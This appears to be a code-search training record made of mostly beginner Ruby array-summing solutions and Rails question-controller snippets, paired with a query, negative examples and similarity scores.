"def two_d_sum(arr)\n\ttotal = 0\n\n\t# 1st Level: Looking at each element (these are also arrays)\n\tarr.each do |sub_arr|\n\t\t# 2nd Level: Looking at each elements of these arrays\n\t\tsub_arr.each do |ele|\n\t\t\t# add each element to the total\n\t\t\ttotal += ele\n\t\tend\n\tend\n\n\treturn total\nend",
"def sum_of_sums(array)\n sum = 0\n array.length.times do |index|\n sum += array[0, index + 1].reduce(&:+)\n end\n sum\nend",
"def sum_of_sums(array)\n elements = 1\n sums = 0 \n \n array.each_with_index do |element, index| \n counter = 0\n inner_sum = 0\n (index + 1).times do\n inner_sum += array[counter]\n counter += 1\n end\n\n sums += inner_sum\n end\n\n sums\nend",
"def two_d_sum(arr)\r\n totalSum = 0\r\n arr.each do |ele|\r\n partialSum = 0\r\n ele.each do |num|\r\n partialSum += num\r\n end\r\n totalSum += partialSum\r\n end\r\n return totalSum\r\nend",
"def sum_of_sums(array)\n sums = []\n index = 0\n loop do\n (0..index).each {|index| sums << array[index]}\n index += 1\n break if index == array.size\n end\n sums.reduce(:+)\nend",
"def multi_dimensional_sum(array)\n array.flatten\nend",
"def diags_sum_array(matrix)\n sum = []\n length = matrix.column(0).count\n \n d = matrix\n i = length\n while i > 0 do\n # multiply the values of the diagonal\n sum << d.each(:diagonal).inject(:*)\n d = d.first_minor(0,(i-1))\n i -= 1\n end\n \n # get the upper diagonals\n trans = matrix.transpose\n y = length - 1\n while y > 0 do\n # multiply the values of the diagonal\n trans = trans.first_minor(0,(y))\n sum << trans.each(:diagonal).inject(:*)\n y -= 1\n end\n \n return sum\n \n end",
"def sum_of_sums(array)\n result = 0\n array.each_index {|idx| result += array[0..idx].sum}\n result\nend",
"def sum_of_sums(arr)\n sum = 0\n index = arr.length\n while index >= 0\n sum += arr[0, index].sum\n index -= 1\n end\n sum\nend",
"def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend",
"def zero_sum_sub_arrays(xs)\n return 0 if xs.size < 2\n\n (2..xs.size)\n .flat_map { |n| xs.each_cons(n).to_a }\n .select { |xs| xs.sum == 0 }\n .size\nend",
"def sum_of_sums(array)\r\nend",
"def sum_array_of_arrays(some_array) \n big_sum = 0 \n \n some_array.each do |x|\n big_sum = big_sum + sum_array(x)\n end\n \n big_sum\n \n end",
"def sum_of_sums(array)\n total = 0\n loop do\n break if array.size == 0\n total += array.flatten.sum\n array.pop\n end\n total\nend",
"def sum_of_sums(arr)\n total_sum = 0\n idx = 0\n elements = 1\n while elements - 1 < arr.size\n total_sum += arr.slice(idx, elements).reduce(:+)\n elements += 1\n end\n total_sum\nend",
"def sum_of_sums(array)\n current_sum = 0\n counter = 0\n loop do\n current_sum += array[0..counter].sum\n counter +=1\n break if counter == array.size\n end\n current_sum\nend",
"def sumAllArray(adjacency, index, central)\n\t\tvalue = 0\n\t\ti = 0\n\n\t\tadjacency.each do |e|\n\t\t\tif i == central\n\t\t\t\ti+=1\n\t\t\tend\n\n\t\t\tif @solutions[index+1][i].nil?\n\t\t\t\tvalue += (e*@solutions[index][i])\n\t\t\telse\n\t\t\t\tvalue += (e*@solutions[index+1][i])\n\t\t\tend\n\n\t\t\ti+=1\n\t\tend\n\n\t\treturn value\n\tend",
"def sum_of_sums(arr)\n sum = 0\n arr.each_with_index { |elem, i| sum += (arr.size - i) * elem }\n sum\nend",
"def sum_of_sums(array)\n supersum = 0\n array.each_with_index do |_, index|\n supersum += array[0, index + 1].inject(:+)\n end\n supersum\nend",
"def contiguous_sub_array_sum(array, target)\n sum = 0\n last_value = array.first\n n = array.length\n (1..(n - 1)).each do |i|\n \n end\nend",
"def contig_subsum(array)\n sub_arrays = []\n i = 0\n j = 0\n while i < array.length do\n while j < array.length do\n sub_arrays << array[i..j]\n j += 1\n end\n i += 1\n j = i\n end\n\n max_sum = 0\n arr = []\n\n sub_arrays.each do |sub|\n arr << sub.inject(:+)\n end\n\n arr.uniq.sort.last\n\nend",
"def multi_dimensional_sum(array)\n result = array.flatten.inject { |single, ele| single + ele}\n result\nend",
"def sum_prod_diags(matrix)\n\n require 'matrix'\n \n # ability to rotate nested array 90 degrees (for right - to left calc)\n def rotate(matrix)\n newMatrix, finalMatrix, i = [], [], 0\n (matrix.length > matrix[0].length ? matrix.length : matrix[0].length).times do\n matrix.map { |row| row[i] != nil ? newMatrix << row[i] : nil }\n i+=1\n end\n newMatrix.each_slice(matrix.length).to_a.reverse\n end\n \n # get the diagonal and all lower diagonals\n def diags_sum_array(matrix)\n sum = []\n length = matrix.column(0).count\n \n d = matrix\n i = length\n while i > 0 do\n # multiply the values of the diagonal\n sum << d.each(:diagonal).inject(:*)\n d = d.first_minor(0,(i-1))\n i -= 1\n end\n \n # get the upper diagonals\n trans = matrix.transpose\n y = length - 1\n while y > 0 do\n # multiply the values of the diagonal\n trans = trans.first_minor(0,(y))\n sum << trans.each(:diagonal).inject(:*)\n y -= 1\n end\n \n return sum\n \n end\n\n # run for left to right calc\n d_sum = diags_sum_array(Matrix[*matrix])\n \n # run for right to left calc (using rotate array method)\n a_sum = diags_sum_array(Matrix[*rotate(matrix)])\n\n # add each result, return the difference in the two\n return d_sum.inject(:+) - a_sum.inject(:+)\n \nend",
"def multi_dimensional_sum(array)\n while !array.all? { |el| el.is_a?(Numeric) }\n array = unpack(array)\n end\n return array.sum\nend",
"def sum_of_sums(array)\n new_array = []\n array.size.times do |n|\n new_array << array[0..n]\n end\n new_array.flatten.reduce(:+)\nend",
"def sum_of_sums(array)\n\n sums_array = []\n\n sum = 0\n array.each do |value|\n sum += value\n sums_array << sum\n end\n \n sums_array.sum\nend",
"def sum_square_array(arr)\n arr.reduce(:+) ** 2\nend",
"def sum_of_sums(array)\n sum = 0\n sum_array = array.map { |x| sum += x }\n sum_array.inject(:+)\nend",
"def sum_of_sums2(arr)\n arr.zip(arr.length.downto(1)).map { |a, b| a * b }.sum\nend",
"def diagonalDifference(arr)\n n = arr.length\n primary = (0..n - 1).reduce(0) do |sum, i|\n sum + arr[i][i]\n end\n secondary = (0..n - 1).reduce(0) do |sum, i|\n sum + arr[i][n - 1 - i]\n end\n (primary - secondary).abs\nend",
"def diagonalDifference(arr)\n n = arr.length\n sum1 = 0\n sum2 = 0\n arr.each_with_index do |row, i|\n sum1 += arr[i][i]\n sum2 += arr[(n-1)-i][i]\n end\n result = sum1 - sum2\n result.abs\nend",
"def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend",
"def sum_of_sums(numbers)\n sum = 0\n idx = 0\n \n while idx < numbers.size\n idx2 = 0\n \n while idx2 < numbers[0..idx].size\n sum += numbers[0..idx][idx2]\n idx2 += 1\n end\n \n idx += 1\n end\n \n sum\nend",
"def largest_contiguous_subsum(arry)\n sums = 0\n size = arry.length\n\n (0..size - 1).each do | i|\n sub = []\n (i + 1..size).each do |j|\n sub = arry[i..j]\n if sub.sum > sums\n sums = sub.sum \n end\n end\n end\n sums\nend",
"def sum_of_sums(array)\n size = array.size \n index = 0\n sum = 0\n \n while index < array.size\n sum += (array[index] * size)\n index += 1\n size -= 1\n end\n \nsum\n \nend",
"def sum_of_sums(array)\n sequence_total = 0\n sum = 0\n array.each do |n|\n sequence_total += n\n sum += sequence_total\n end\n sum\nend",
"def matrixElementsSum(matrix)\r\n(0..matrix.length-2).each do |floor_number|\r\n\r\n (0..matrix[floor_number].length-1).each do |column_number|\r\n if matrix[floor_number][column_number] == 0\r\n matrix[floor_number+1].delete_at(column_number)\r\n matrix[floor_number+1].insert(column_number, 0)\r\n end\r\n end\r\n \r\nend\r\n\r\nreturn matrix.flatten.inject(:+)\r\n\r\nend",
"def sum_of_squares(array)\n array.each.map{|num total += num*num}.reduce(:+) #is like fold_left. reduce works on array or collection of enumerables\nend",
"def sum_array(array)\n the_sum_of_array = array.sum\n the_sum_of_array\nend",
"def sub_sum(array)\n sums = []\n i = 0\n j = 0\n\n while i < array.length\n while j < array.length\n sums << array[i..j]\n j += 1\n end\n i += 1\n j = i\n end\n sums.sort_by{|x| x.reduce(:+)}.last.reduce(:+)\n end",
"def two_d_sum(arr)\n sum = 0\n arr.each do | el1 |\n el1.each do | el2|\n sum = sum + el2\n end\n end\n puts\n return sum\nend",
"def diagonalDifference(arr)\n # Write your code here\n sum_a = 0\n sum_b = 0\n arr.each_with_index do |row, i|\n sum_a += row[i]\n sum_b += row[row.size-1-i]\n end\n (sum_a - sum_b).abs\nend",
"def largest_contiguous_subsum(array)\n new_arr = []\n (0...array.length).each do |idx1|\n sum = [array[idx1]]\n new_arr << sum\n (idx1+1...array.length).each do |idx2|\n sum += [array[idx2]]\n new_arr << sum\n end\n end\n\n sums = []\n new_arr.each do |pair|\n sums << pair.sum\n end\n\n sums.max\nend",
"def total_in_subarr(arr)\n sum = 0\n for item in arr do\n sum += item\n end\n sum\nend",
"def sum_array(array)\n array.sum\nend",
"def sum_array(array)\n array.sum\nend",
"def sum_of_sums(numbers)\n sum = 0\n idx = 0\n \n until idx == numbers.size\n idx2 = 0\n \n until idx2 == numbers[0..idx].size\n sum += numbers[0..idx][idx2]\n idx2 += 1\n end\n \n idx += 1\n end\n \n sum\nend",
"def sum_of_sums(array)\r\n total = array[0]\r\n new_arr = []\r\n array.each do |x|\r\n if new_arr.empty?\r\n new_arr << x\r\n else\r\n total += x\r\n new_arr << total\r\n end\r\n end\r\n new_arr.reduce(:+)\r\nend",
"def diagonalSum(matrix)\n # case Matrix[*matrix].column_size\n # when Matrix[*matrix].row_size\n x=0\n y=0\n p matrix.class\n while x<matrix.flatten.size do \n y=y+matrix.flatten[x]\n x=x+matrix.size+1 \n # print \"x= #{x}, y = #{y}, \"\n end\n y\nend",
"def two_d_sum(arr)\n i = 0\n sum=0\n while i < arr.length\n arr[i].each do |num|\n sum += num\n end\n\n i += 1\n end\n return sum\n\nend",
"def sum_of_sums(arr)\n total = 0\n (0..(arr.size - 1)).each { |i| total += arr[0..i].reduce(:+) }\n total\nend",
"def sum_array_rec(array_to_sum)\n if(array_to_sum.length > 0)\n sum = array_to_sum[0]\n sum += sum_array_rec(array_to_sum[1..-1])\n else\n 0\n end\nend",
"def largest_contiguous_subsum1(array)\n sub_array = []\n\n array.each_index do |i|\n array.each_index do |j|\n next if i > j\n sub_array << array[i..j]\n end\n end\n sum = sub_array.first.inject(:+)\n sub_array.each do |el|\n sum = el.inject(:+) if el.inject(:+) > sum\n end\n sum\nend",
"def simpleArraySum(ar)\n return ar.map(&:to_i).sum\nend",
"def strange_sums(array)\n count = 0\n (0...array.length).each do |i|\n (i + 1...array.length).each do |j|\n count += 1 if array[i] + array[j] == 0\n end\n end\n\n count\nend",
"def strange_sums(arr)\n count = 0\n\n (0...arr.length).each do |idx_1|\n (idx_1+1...arr.length).each do |idx_2|\n count += 1 if (arr[idx_1] + arr[idx_2]) == 0\n end\n end\n count\nend",
"def sum_of_sums_2(array)\n total_sum = 0\n i = 0\n len = array.size\n \n while i < len\n total_sum += array[0..i].inject { |sum, j| sum + j }\n i += 1\n end\n total_sum\nend",
"def sum_array(array)\n return array.sum\n\n # sum_total_of_array = 0\n # for number in array\n # sum_total_of_array += number\n # end\n # return sum_total_of_array\nend",
"def largest_contiguous_subsum(arr)\n sums = []\n\n (0...arr.length).each do |idx1|\n (idx1+1...arr.length).each do |idx2|\n sums << arr[idx1..idx2].sum\n end\n end\n\n sums.max\nend",
"def sum_of_sums(numbers)\n sum = 0\n idx = 0\n \n loop do\n \n idx2 = 0\n loop do\n sum += numbers[0..idx][idx2]\n idx2 += 1\n break if idx2 == numbers[0..idx].size\n end\n \n idx += 1\n break if idx == numbers.size\n end\n \n sum\nend",
"def sum_of_sums(int_arr)\n sum = 0\n current_numbers = []\n int_arr.each { |int|\n current_numbers << int\n sum += current_numbers.sum\n }\n sum\nend",
"def largest_contiguous_sub_sum1(arr)\n subarrays = []\n arr.each_with_index do |num1, i|\n arr.each_with_index do |num2, j|\n subarrays << arr[i..j] if i <= j\n end\n end\n\n subarrays.map! do |subarray|\n subarray.sum\n end\n\n subarrays.sort[-1]\nend",
"def sum_upon_sums(array)\n\nend",
"def sum_array(array)\n sum = 0\n array.each do |x|\n sum += x\n end\n return sum\nend",
"def largest_contiguous_subsum(array)\n arr = []\n (0...array.length).each do |i|\n (i + 1...array.length).each do |j|\n arr << array[i] + array[j] \n end\n end\n arr.max\n \nend",
"def largest_contiguous_subsum_1(arr)\n largest = []\n (0...arr.length).each do |i|\n (i...arr.length).each do |j|\n largest << arr[i..j]\n end\n end\n sums = largest.map do |sub_array|\n sub_array.sum\n end\n sums.max\nend",
"def array_index_equel_sum_of_parts(array = [])\n raise 'incorrect array' unless array.is_a? Array\n\n array.each_index do |i|\n left_part = array[0..i].reduce { |sum, e| sum + e }\n right_part = array[i..array.length - 1].reduce { |sum, e| sum + e }\n return i if left_part == right_part\n end\n -1\nend",
"def largest_contiguous_subsum(array)\n sub_arrays = []\n (0...array.length).each do |i|\n (0...array.length).each do |x|\n sub_arrays << array[i..x] unless array[i..x].empty?\n end\n end\n p sub_arrays.length\n max_array = sub_arrays.max_by { |sub| sub.sum }\n max_array.sum\n\nend",
"def sum_array(array)\n sum = 0\n array.each do |value|\n sum += value\n end\n sum\nend",
"def simple_array_sum arr\n arr.reduce(:+)\n end",
"def matrixElementsSum(matrix)\n total = 0\n\n for i in 0..(matrix[0].to_a.count - 1)\n for j in 0..(matrix.count - 1)\n total += matrix[j].to_a[i]\n if matrix[j].to_a[i] == 0\n break\n end\n end\n end\n total\nend",
"def sum_array(array)\n sum = 0\n array.each do |i|\n sum+=i\n end\n sum\nend",
"def sum_array(int_array)\n int_array.reduce(:+)\nend",
"def sum_of_sums(arr)\n counter = 1\n total = 0\n\n loop do\n break if counter > arr.size\n\n total += arr.take(counter).sum\n counter += 1\n end\n total\nend",
"def sum(array)\n\ttotal = 0\n\tfor number in array #could do each do instead of for loop\n\t\ttotal += number\n\tend\n\treturn total\nend",
"def sum(array)\n\tanswer = 0\n\tif array.length > 0 then\n\t\tarray.each {|x| answer += x}\n\telse\n\t\treturn 0\n\tend\n\treturn answer\nend",
"def largest_contiguous_subsum(array)\n sub_arrays = []\n i = 1\n until i == array.length + 1\n array.each_cons(i) do |sub|\n sub_arrays << sub\n end\n i += 1\n end\n sub_arrays.map {|sub| sub.reduce(:+)}.max\nend",
"def sillySum(arr)\n count = 0\n arr.each_with_index do |item, index|\n count += (item * index)\n end\n count\n end",
"def sum_of_sums(arry)\n index = 1\n sum_of_arry = 0\n while index <= arry.size\n sum_of_arry = sum_of_arry + arry.take(index).sum\n index += 1\n end\n puts sum_of_arry\nend",
"def simpleArraySum(ar)\n ar.sum\nend",
"def largest_contiguous_subsum(arr)\n answer = []\n arr.each_with_index do |ele1,idx1|\n arr.each_with_index do |ele2,idx2|\n answer << arr[idx1..idx2].sum \n end\n end\n answer.sort[-1]\nend",
"def array_sum(arr)\n\tsum = 0\n\n\t# an for each loop\n\tfor i in arr\n\t\tsum += i\n\tend\n\t\n\treturn sum\n\t\nend",
"def total(array) \n\tsum = 0\n\ti = 0\n\tfor i in 0.. array.length\n\tarray.each { |i| sum += i}\n\treturn sum\nend\nend",
"def simpleArraySum(ar)\n ar.sum\nend",
"def sum_of_sums(arr)\n total_sum = 0\n idx = 0\n counter = -1\n while counter + 1 > -arr.size\n total_sum += arr.slice(idx..counter).reduce(:+)\n counter -= 1\n end\n total_sum\nend",
"def sum_array(array)\n sum = 0\n array.each do |element|\n sum += element\n end\n sum\nend",
"def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend",
"def all_subarrays_largest_contiguous_subsum(integers)\n subarrays = []\n (0...integers.length).each do |start_i| # n start_i's ????\n (start_i...integers.length).each do |end_i| # average of n/2 end_i's ????\n subarrays << integers[start_i..end_i] # average number of elements in each subarray is n/2 ????\n end\n end\n p \"Number of subarrays: #{subarrays.length}\"\n p \"'Memory space': #{subarrays.flatten.length}\"\n subarrays.map(&:sum).max\nend"
] | [
"0.7323168",
"0.7081612",
"0.70787966",
"0.70787966",
"0.7062459",
"0.7032922",
"0.6994547",
"0.6981598",
"0.69581056",
"0.69496137",
"0.688263",
"0.6870832",
"0.68320256",
"0.6738789",
"0.67178303",
"0.67083365",
"0.6698856",
"0.66214037",
"0.6598974",
"0.65600705",
"0.65573025",
"0.6554536",
"0.6520551",
"0.64712",
"0.6438128",
"0.64318717",
"0.6402062",
"0.6386585",
"0.6382942",
"0.6379958",
"0.63639295",
"0.6362745",
"0.6349368",
"0.6343378",
"0.6339675",
"0.63308024",
"0.63276404",
"0.6304224",
"0.6299506",
"0.6292245",
"0.62829995",
"0.62675226",
"0.6259488",
"0.62529916",
"0.62467647",
"0.6239349",
"0.62342036",
"0.6226801",
"0.6202674",
"0.6194606",
"0.6187906",
"0.6182315",
"0.6178948",
"0.6178948",
"0.6178257",
"0.61771864",
"0.6169599",
"0.6153525",
"0.61527145",
"0.61499244",
"0.6146283",
"0.6139628",
"0.6133867",
"0.613216",
"0.61288595",
"0.6128444",
"0.6122293",
"0.6118971",
"0.611343",
"0.61127007",
"0.6088147",
"0.60849684",
"0.6076526",
"0.6072235",
"0.6072029",
"0.6071591",
"0.6056864",
"0.6056544",
"0.6052749",
"0.60378224",
"0.6029959",
"0.6021347",
"0.601579",
"0.6007598",
"0.60066915",
"0.60064995",
"0.6002486",
"0.6001911",
"0.6001411",
"0.5999374",
"0.5997063",
"0.5994653",
"0.5994013",
"0.5993615",
"0.5985948",
"0.5985397",
"0.59775156",
"0.59669185",
"0.59663314",
"0.59660935"
] | 0.7112105 | 1 |
GET /questions GET /questions.json | def index
@questions = current_user.questions.search(params[:search1],params[:search2],params[:search3])
@performance=Performance.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end",
"def show\n render_json @question\n end",
"def index\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.json { render :text => @questions.to_json }\n format.xml { render :xml => @questions.to_xml }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend",
"def index\n @users = Question.users\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @question_categories = QuestionCategory.with_questions()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_categories }\n end\n end",
"def index\n render_json(current_user.created_questions)\n end",
"def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n if get_event\n @v1_questions = @event.questions\n render json: @v1_questions\n else\n @v1_questions = V1::Question.all\n render json: @v1_questions\n end\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def show\n @questions = Question.find(params[:id])\n end",
"def index\n @api_v1_questions = Api::V1::Question.all\n end",
"def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def index\n url = @httpIp + '/pet.com/api/question/getAllQuestions'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n # @questions = JSON.parse(response, object_class: OpenStruct)\n @questions = Kaminari.paginate_array(JSON.parse(response, object_class: OpenStruct)).page(params[:page]).per(7)\n end",
"def show\n @questions_option = QuestionsOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questions_option }\n end\n end",
"def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def show\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n if params[:aspect_id]\n @questions = Aspect.find(params[:aspect_id]).questions.all\n else\n @questions = Question.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_question }\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end",
"def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end",
"def questions\n # Get a list of questionnaires that belong to instances of the current race\n if @course\n questionnaire_ids = @course.questionnaire_ids\n elsif @instance\n questionnaire_ids = @instance.questionnaire_ids\n else\n questionnaire_ids = []\n end\n\n # Collect question_ids that are used in those questionnaires\n question_ids = Set.new\n Questionnaire.where(:id => questionnaire_ids).find_each do |questionnaire|\n question_ids.merge(questionnaire.question_ids)\n end\n\n @questions = Question.find(question_ids.to_a)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions.to_json }\n end\n end",
"def show\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cards_question }\n end\n end",
"def index\n @questions = @questionable.questions\n end",
"def show\n @category_question = CategoryQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end",
"def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end",
"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def show\n @question = current_node.questions.find(params[:id])\n @question.viewed!(request.remote_ip)\n @answers = (@question.answers.page params[:page]).order_by(current_order)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @survey_question }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def new\n\t\t@question = Question.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @question }\n\t\tend\n\tend",
"def show\n # show the particular question\n\tif @question.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"question\" => @question.as_json('question_show') }\n else\n render :json=> { success: false, message: \"Questions are not present\" },:status=> 203\n end\n\tend",
"def show\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set }\n end\n end",
"def show\n render json: @quiz\n end",
"def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @questions = Question.all\n render :index\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end",
"def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end",
"def index\n #if we search throught questions by tags, for example:\n # localhost:3000/questions?tag=Action \n if params[:tag]\n @tag = Tag.find_or_initialize_by(name: params[:tag])\n @questions = @tag.questions.all.all_with_answer_counts.order('updated_at DESC')\n # curl -H \"Accept: application/json\" http://localhost:3000/questions\n respond_to do |format|\n format.html { render }\n format.json { render json: @questions }\n end\n else\n @questions = Question.all.all_with_answer_counts.order('updated_at DESC')\n respond_to do |format|\n format.html { render }\n format.json { render json: @questions }\n end\n end\n end",
"def index\n find_questions\n end",
"def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"def get_random\n @question = Question.get_random\n\n unless @question\n render json: { error: \"random question can't be found\" }.to_json, status: 404\n end\n end",
"def index\n @questions = @quiz.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end",
"def show\n @user = current_user\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question_tag = QuestionTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_tag }\n end\n end",
"def show\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_question }\n end\n end",
"def show\n @question_category = QuestionCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end",
"def index\n @questions = @page.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end",
"def index\n @questions = Question.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end",
"def check_questions\n response = Request.get_request(URL_QUESTION)\n questions = []\n if response.success?\n data = Request.manage_response(response)\n end\n data.each do |question|\n questions << Question.new(question)\n end\n questions\nend",
"def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end",
"def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end"
] | [
"0.8163266",
"0.7624816",
"0.75637484",
"0.75628823",
"0.72408694",
"0.7192141",
"0.71918124",
"0.7082713",
"0.7081532",
"0.7081532",
"0.7081532",
"0.70788556",
"0.7065757",
